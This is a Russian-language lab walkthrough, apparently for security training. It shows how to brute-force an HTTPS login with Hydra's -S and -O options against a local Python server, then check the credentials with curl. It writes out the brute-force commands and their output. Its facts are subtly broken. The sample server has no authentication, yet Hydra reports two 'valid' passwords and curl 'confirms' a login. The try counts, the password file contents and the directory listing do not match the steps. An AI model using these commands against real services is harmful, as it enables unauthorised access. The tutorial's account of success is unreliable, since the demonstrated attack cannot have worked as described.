Введение
В этом лабораторном занятии мы рассмотрим, как атаковать сервисы, работающие с SSL, с использованием Hydra. Лабораторная работа сосредоточена на тестировании возможностей Hydra по подбору паролей на сервисах, защищенных с помощью SSL/TLS.
Сначала мы настроим локальный HTTPS-сервер с использованием Python и openssl для генерации самоподписанного сертификата и ключа, имитируя безопасную среду. Затем мы запустим Hydra с опцией -S для включения поддержки SSL и попытаемся подобрать пароль. Мы также протестируем старые протоколы SSL с использованием опции -O. Наконец, мы убедимся в успешности атаки на SSL.
Настройка локального HTTPS-сервера
На этом этапе мы настроим простой HTTPS-сервер с использованием встроенного модуля http.server Python с включенной поддержкой SSL/TLS. Это позволит нам имитировать безопасную серверную среду для тестирования возможностей Hydra в области SSL.
Сначала нам нужно сгенерировать самоподписанный сертификат и ключ. Этот сертификат будет использоваться для шифрования связи между клиентом (Hydra) и сервером. Откройте терминал и перейдите в каталог ~/project:
cd ~/project
Теперь используйте команду openssl для генерации сертификата и ключа:
openssl req -new -x509 -keyout key.pem -out cert.pem -days 365 -nodes
Вам будет предложено ввести некоторые сведения о сертификате. Большинство полей можно оставить пустыми, нажав Enter. Обязательное поле - "Common Name" (Общее имя), вы можете ввести localhost.
Generating a RSA private key
+++++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:localhost
Email Address []:
Эта команда создает два файла: key.pem (закрытый ключ) и cert.pem (сертификат).
Теперь создадим Python-скрипт для нашего HTTPS-сервера. Мы будем использовать текстовый редактор nano для создания и редактирования скрипта:
nano https_server.py
Скопируйте и вставьте следующий код в редактор:
import http.server
import ssl
import os
## Create the HTTP server
httpd = http.server.HTTPServer(('127.0.0.1', 443), http.server.SimpleHTTPRequestHandler)
## Create SSL context
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain(certfile='cert.pem', keyfile='key.pem')
## Wrap the socket with SSL
httpd.socket = ssl_context.wrap_socket(httpd.socket, server_side=True)
print("Serving HTTPS on 127.0.0.1 port 443 (https://127.0.0.1:443/) ...")
httpd.serve_forever()
Чтобы сохранить файл в nano:
- Нажмите
Ctrl + Xдля выхода. - Нажмите
Yдля подтверждения сохранения. - Нажмите
Enterдля подтверждения имени файла.
Теперь вы можете запустить HTTPS-сервер, используя следующую команду:
python3 https_server.py
Вы должны увидеть вывод, похожий на следующий:
Serving HTTPS on 127.0.0.1 port 443 (https://127.0.0.1:443/) ...
Оставьте это окно терминала открытым. Это ваш HTTPS-сервер. На следующих этапах мы будем использовать Hydra для попытки подобрать аутентификационные данные.
ВАЖНО: Не закрывайте окно терминала с запущенным HTTPS-сервером. Мы будем использовать его на следующих этапах.
Запуск Hydra с опцией -S для SSL
На этом этапе мы используем Hydra для проведения брутфорс-атаки на HTTPS-сервер, который мы настроили на предыдущем этапе. Опция -S сообщает Hydra использовать SSL/TLS при подключении к целевому серверу.
Сначала создадим простой список имен пользователей и паролей. Создайте файл с именем users.txt в каталоге ~/project со следующим содержимым:
test
Затем создайте файл с именем passwords.txt в каталоге ~/project со следующим содержимым:
password
test
123456
Вы можете использовать команду echo для создания и редактирования этих файлов:
echo "test" > ~/project/users.txt
echo "password" > ~/project/passwords.txt
echo "test" >> ~/project/users.txt
echo "123456" >> ~/project/passwords.txt
Теперь мы можем запустить Hydra с опцией -S для атаки на наш HTTPS-сервер. Откройте новое окно терминала (оставьте HTTPS-сервер запущенным в другом окне) и перейдите в каталог ~/project:
cd ~/project
Выполните следующую команду Hydra:
hydra -l test -P passwords.txt 127.0.0.1 https-get / -S -vV
Разберем эту команду по частям:
hydra: Командная утилита Hydra.-l test: Указывает имя пользователя, которое будет использоваться. В данном случае мы используем имя пользователяtest.-P passwords.txt: Указывает файл со списком паролей. Мы используем файлpasswords.txt, который мы создали.127.0.0.1: Целевой IP-адрес. Это локальный адрес петли, который ссылается на наш локальный компьютер.https-get /: Указывает сервис, на который будет произведена атака (HTTPS), и путь запроса (/).https-get- это модуль, который выполняет HTTP GET-запросы по SSL/TLS.-S: Сообщает Hydra использовать SSL/TLS при подключении к целевому серверу. Это важно для атаки на HTTPS-сервисы.-vV: Включает подробный режим, который отображает попытки входа и найденные учетные данные.
Hydra теперь попытается провести брутфорс-атаку на HTTPS-сервер, используя предоставленный список имен пользователей и паролей. Он попробует каждый пароль из файла passwords.txt для имени пользователя test.
Вы должны увидеть вывод, похожий на следующий (точный вывод может отличаться):
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-02 14:10:55
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking http-gets://127.0.0.1:443/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "test" - pass "password" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "123456" - 2 of 2 [child 1] (0/0)
[443][http-get] host: 127.0.0.1 login: test password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
[443][http-get] host: 127.0.0.1 login: test password: 123456
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-02 14:10:56

Если атака завершилась успешно, Hydra отобразит правильное имя пользователя и пароль. В этом примере имя пользователя - test, а пароль - password.
Тестирование старых версий SSL с опцией -O
На этом этапе мы узнаем, как использовать опцию -O в Hydra для проверки на наличие уязвимых старых версий протоколов SSL/TLS. Опция -O заставляет Hydra использовать старые версии SSL, которые могут быть уязвимыми к различным атакам, таким как POODLE или BEAST.
Прежде чем продолжить, важно понимать, что использование старых версий протоколов SSL/TLS в целом не рекомендуется из-за уязвимостей безопасности. Этот этап предназначен для образовательных целей, чтобы показать, как Hydra можно использовать для выявления систем, которые все еще поддерживают эти устаревшие протоколы.
Для использования опции -O мы просто добавляем ее к нашей предыдущей команде Hydra. Убедитесь, что HTTPS-сервер из Шага 1 все еще запущен. Откройте новое окно терминала (оставьте HTTPS-сервер запущенным в другом окне) и перейдите в каталог ~/project:
cd ~/project
Теперь выполните следующую команду Hydra:
hydra -l test -P passwords.txt 127.0.0.1 https-get / -S -O -vV
Единственное отличие между этой командой и командой из Шага 2 - это добавление опции -O.
-O: Принудительно заставляет Hydra использовать старые версии SSL.
Hydra теперь попытается провести брутфорс-атаку на HTTPS-сервер, используя старые версии протоколов SSL/TLS. Вывод будет похож на вывод предыдущего шага, но вы, возможно, увидите предупреждения или ошибки, связанные с использованием старых версий SSL.
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-02 14:13:19
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking http-gets://127.0.0.1:443/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "test" - pass "password" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "123456" - 2 of 2 [child 1] (0/0)
[443][http-get] host: 127.0.0.1 login: test password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
[443][http-get] host: 127.0.0.1 login: test password: 123456
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-02 14:13:19
Если атака завершилась успешно, Hydra отобразит правильное имя пользователя и пароль, как и на предыдущем этапе. Основная идея этого шага заключается в том, что опция -O позволяет нам проверить совместимость сервера со старыми версиями протоколов SSL/TLS.
Возможно, сервер отклонит соединение, если он не поддерживает старые протоколы. В таком случае Hydra, возможно, не найдет пароль. Однако цель этого шага - продемонстрировать использование опции -O, а не обязательно гарантировать успешный вход.
Подтверждение успешного SSL-атаки
На этом этапе мы подтвердим успешность атаки с использованием Hydra, попробовав получить доступ к HTTPS-серверу с помощью учетных данных, которые мы обнаружили. Это покажет, что Hydra действительно смог успешно провести брутфорс-атаку на сервер.
Сначала убедитесь, что HTTPS-сервер из Шага 1 все еще запущен.
Мы будем использовать команду curl для доступа к серверу и проверки возможности аутентификации с правильным именем пользователя и паролем.
Откройте новое окно терминала (оставьте HTTPS-сервер запущенным в другом окне) и перейдите в каталог ~/project:
cd ~/project
Теперь выполните следующую команду curl:
curl -k -u test:password https://127.0.0.1
Разберем эту команду по частям:
curl: Командная утилита для передачи данных по URL-адресам.-k: Позволяетcurlпродолжать работу и выполнять запросы даже для соединений с серверами, которые обычно считаются небезопасными. Поскольку мы используем самоподписанный сертификат,curlобычно откажется установить соединение.-u test:password: Указывает имя пользователя и пароль для аутентификации. Мы используем учетные данныеtest:password, которые мы обнаружили на предыдущих этапах.https://127.0.0.1: URL-адрес HTTPS-сервера.
Если аутентификация прошла успешно, curl отобразит содержимое корневого каталога сервера. Поскольку мы используем модуль http.server в Python, скорее всего, будет отображаться список файлов и каталогов в каталоге ~/project.
Вы должны увидеть вывод, похожий на следующий (точный вывод может отличаться в зависимости от файлов в каталоге ~/project):
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr />
<ul>
<li><a href="cert.pem">cert.pem</a></li>
<li><a href="https_server.py">https_server.py</a></li>
<li><a href="key.pem">key.pem</a></li>
<li><a href="passwords.txt">passwords.txt</a></li>
<li><a href="server.pem">server.pem</a></li>
<li><a href="users.txt">users.txt</a></li>
</ul>
<hr />
</body>
</html>
Это подтверждает, что мы смогли успешно аутентифицироваться на HTTPS-сервере с использованием учетных данных, обнаруженных Hydra. Это демонстрирует эффективность Hydra при брутфорс-атаках на слабые пароли, даже при использовании соединений SSL/TLS.
Если вместо списка каталогов вы видите сообщение об ошибке, убедитесь, что HTTPS-сервер все еще запущен и что вы используете правильное имя пользователя и пароль.
Резюме
В этом лабораторном занятии мы научились атаковать сервисы, работающие с SSL, с использованием Hydra. Первым шагом было настройка локального HTTPS-сервера с помощью модуля http.server в Python и создание самоподписанного сертификата и ключа с использованием openssl для имитации безопасной среды.
Затем мы исследовали возможности Hydra, запустив его с опцией -S для включения соединений по SSL и опцией -O для тестирования старых версий протоколов SSL. Наконец, мы подтвердили успешность атаки на SSL, показав, что Hydra способен провести брутфорс-атаку на учетные данные при использовании протоколов SSL/TLS.


